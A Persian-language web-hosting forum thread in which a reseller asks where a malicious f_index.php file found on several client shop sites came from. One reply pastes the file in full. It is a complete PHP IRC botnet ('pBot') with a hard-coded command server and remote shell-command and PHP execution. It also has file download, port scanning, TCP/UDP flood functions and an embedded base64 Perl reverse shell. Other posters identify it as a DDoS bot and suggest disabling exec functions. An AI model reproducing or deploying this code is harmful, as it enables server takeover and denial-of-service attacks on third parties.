?? f_index.php
سلام دوستان
یکی از ریسلری هام چند تا فروشگاه با یه سیستم داره ، ( سیستم رو نمیدونم چیه )
تمروز متوجه شدم داخل همه سایت ها که سیستم های مثل همی داره یه فایل به اسم f_index.php اضافه شده و یک آی پی هم به شدت داره به این فایل درخواست ارسال میکنه و نقریبا دارم دی داس میشم
البته شدت نداره ، آی پی هم که بلوک نمیشه ،
با انتی ویروس سرچ کردم ، به عنوان ویرویس شناخت و پاکشون میکنه
حالا سوالم اینه که این فایل از کجا اومده ؟
پاسخ : ?? f_index.php
ممکنه اون سایت هک شده و کسی با این اسم اپلود کرده
و لوکال اتککر باشه
و با چند سرور اونو باز کنه که ایپی هم 127.0.0.1 مییفته و کاری نمیشه کرد...
پاسخ : ?? f_index.php
نه ، آی پی که یه آی پی آمریکایی هستش یکی هم بیشتر نیست ، با فاروال بلوک کردم ولی باز وقتی به Apache Status میرم ، هنوز داره به همین آدرس چند تا فایل درخواست میفرستهنوشته اصلی توسط HugeServer
اون زیاد مهم نیست درستش میکنم ، میخوام بدونم فایل ها از کجا اومده ، همه هم فقط روی یه سیستمه
پاسخ : ?? f_index.php
ايجاد يك فايل كار سختي نيست
كافيه برنامه يك باگ ساده داشته باشه...
حالا تو فايل محتويات قابل توجهي هم هست؟
پاسخ : ?? f_index.php
آره
کد:<? /* * * #crew@corp. since 2003 * edited by: devil__ and MEIAFASE <admin@xdevil.org> <meiafase@pucorp.org> * Friend: LP <****erboy@sercret.gov> * COMMANDS: * * .user <password> //login to the bot * .logout //logout of the bot * .die //kill the bot * .restart //restart the bot * .mail <to> <from> <subject> <msg> //send an email * .dns <IP|HOST> //dns lookup * .download <URL> <filename> //download a file * .exec <cmd> // uses exec() //execute a command * .***ec <cmd> // uses shell_exec() //execute a command * .cmd <cmd> // uses popen() //execute a command * .info //get system information * .php <php code> // uses eval() //execute php code * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack * .raw <cmd> //raw IRC command * .rndnick //change nickname * .pscan <host> <port> //port scan * .safe // test safe_mode (dvl) * .inbox <to> // test inbox (dvl) * .conback <ip> <port> // conect back (dvl) * .uname // return shell's uname using a php function (dvl) * */ set_time_limit(0); error_reporting(0); echo "ok!"; class pBot { var $config = array("server"=>"67.219.51.247", "port"=>"8080", "pass"=>"lol123", "prefix"=>"tibia", "maxrand"=>"4", "chan"=>"#tibia", "chan2"=>"#revenge", "key"=>"", "modes"=>"+p", "password"=>"lol123", "trigger"=>".", "hostauth"=>"*" // * for any hostname (remember: /setvhost pucorp.org) ); var $users = array(); function start() { if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); $ident = $this->config['prefix']; $alph = range("0","9"); for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,9)]; if(strlen($this->config['pass'])>0) $this->send("PASS ".$this->config['pass']); $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname().""); $this->set_nick(); $this->main(); } function main() { while(!feof($this->conn)) { $this->buf = trim(fgets($this->conn,512)); $cmd = explode(" ",$this->buf); if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); } if(isset($cmd[1]) && $cmd[1] =="001") { $this->send("MODE ".$this->nick." ".$this->config['modes']); $this->join($this->config['chan'],$this->config['key']); if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)"); $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI'].""); } if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); } if($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf," :"),2); $msgcmd = explode(" ",$msg); $nick = explode("!",$cmd[0]); $vhost = explode("@",$nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0],1); $host = $cmd[0]; if($msgcmd[0]==$this->nick) { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1]; } else { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i]; } if(count($cmd)>2) { switch($cmd[1]) { case "QUIT": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PART": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PRIVMSG": if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "user": if($mcmd[1]==$this->config['password']) { $this->log_in($host); } else { $this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!"); } break; } } } elseif($this->is_logged_in($host)) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "restart": $this->send("QUIT :restart commando from $nick"); fclose($this->conn); $this->start(); break; case "mail": //mail to from subject message if(count($mcmd)>4) { $header = "From: <".$mcmd[2].">"; if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) { $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail."); } else { $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2"); } } break; case "safe": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode.""); break; case "inboxh": //teste inbox if(isset($mcmd[1])) { $token = md5(uniqid(rand(), true)); $header = "From: <inbox".$token."@xdevil.org>"; $a = php_uname(); $b = getenv("SERVER_SOFTWARE"); $c = gethostbyname($_SERVER["HTTP_HOST"]); if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl <admin@xdevil.org>",$header)) { $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send"); } else { $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2"); } } break; case "conback": if(count($mcmd)>2) { $this->conback($mcmd[1],$mcmd[2]); } break; case "dns": if(isset($mcmd[1])) { $ip = explode(".",$mcmd[1]); if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); } } break; case "infoh": case "vunl": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)"); $this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI'].""); break; case "bot": $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp."); break; case "uname": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)"); break; case "rndnick": $this->set_nick(); break; case "raw": $this->send(strstr($msg,$mcmd[1])); break; case "eval": $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1]))); break; case "***ec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = shell_exec($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "exec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = exec($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "passthru": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = passthru($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "popen": if(isset($mcmd[1])) { $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $this->privmsg($this->config['chan'],"[\2popen\2]: $command"); $pipe = popen($command,"r"); while(!feof($pipe)) { $pbuf = trim(fgets($pipe,512)); if($pbuf != NULL) $this->privmsg($this->config['chan']," : $pbuf"); } pclose($pipe); } case "system": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = system($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "pscan": // .pscan 127.0.0.1 6667 if(count($mcmd) > 2) { if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2"); else $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2"); } break; case "ud.server": // .ud.server <server> <port> [password] if(count($mcmd)>2) { $this->config['server'] = $mcmd[1]; $this->config['port'] = $mcmd[2]; if(isset($mcmcd[3])) { $this->config['pass'] = $mcmd[3]; $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]); } else { $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]); } } break; case "download": if(count($mcmd) > 2) { if(!$fp = fopen($mcmd[2],"w")) { $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada."); } else { if(!$get = file($mcmd[1])) { $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2"); } else { for($i=0;$i<=count($get);$i++) { fwrite($fp,$get[$i]); } $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2"); } fclose($fp); } } else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); } break; case "die": $this->send("QUIT :die command from $nick"); fclose($this->conn); exit; case "logout": $this->log_out($host); $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!"); break; case "udpflood": if(count($mcmd)>3) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]); } break; case "tcpflood": if(count($mcmd)>5) { $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn,"$msg\r\n"); } function join($chan,$key=NULL) { $this->send("JOIN $chan $key"); } function privmsg($to,$msg) { $this->send("PRIVMSG $to :$msg"); } function notice($to,$msg) { $this->send("NOTICE $to :$msg"); } function is_logged_in($host) { if(isset($this->users[$host])) return 1; else return 0; } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if(isset($_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick = "[A]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick = "[I]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick = "[X]"; else $this->nick = "[U]"; } else { $this->nick = "[C]"; } $this->nick .= $this->config['prefix']; for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); $this->send("NICK ".$this->nick); } function udpflood($host,$packetsize,$time) { $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); } $timei = time(); $i = 0; while(time()-$timei < $time) { $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5); fwrite($fp,$packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s "); } function tcpflood($host,$packets,$packetsize,$port,$delay) { $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) { $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port."); } function conback($ip,$port) { $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port"); $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw=="; if (is_writable("/tmp")) { if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); } $fp=fopen("/tmp/dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl /tmp/dc.pl $ip $port &"); unlink("/tmp/dc.pl"); } else { if (is_writable("/var/tmp")) { if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); } $fp=fopen("/var/tmp/dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl /var/tmp/dc.pl $ip $port &"); unlink("/var/tmp/dc.pl"); } if (is_writable(".")) { if (file_exists("dc.pl")) { unlink("dc.pl"); } $fp=fopen("dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl dc.pl $ip $port &"); unlink("dc.pl"); } } } } $bot = new pBot; $bot->start(); ?>
پاسخ : ?? f_index.php
safe mod رو خاموش كنيد
---------- Post added at 01:25 PM ---------- Previous post was at 01:24 PM ----------
shell_exec رو هم غير فعال كنيد
---------- Post added at 01:29 PM ---------- Previous post was at 01:25 PM ----------
مورد مشابه در wht انگليسي
botnet - Web Hosting Talk
پاسخ : ?? f_index.php
ممنون
نمیشه safe mod رو خاموش نکنم ؟
اصلا pBot چی هست ؟ چی کار میکنه ؟
کلا این فایل چی کار میکنه ؟
پاسخ : ?? f_index.php
خواهش مي كنم
نگفتم حتما خاموش كنيد.خاموش بشه اسكريپت نميتونه اجرا بشه
ddos bot
پاسخ : ?? f_index.php
مشکل امنیتی هم می تونه داشته باشه ؟ هک شدن و ...
پاسخ : ?? f_index.php
بهر حال اون طرف تونسته برنامش رو روي سرور شما آپلود كنه...
ممكنه مشكل امنيتي از برنامه كاربرتون باشه يا از سرور
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مجوز های ارسال و ویرایش
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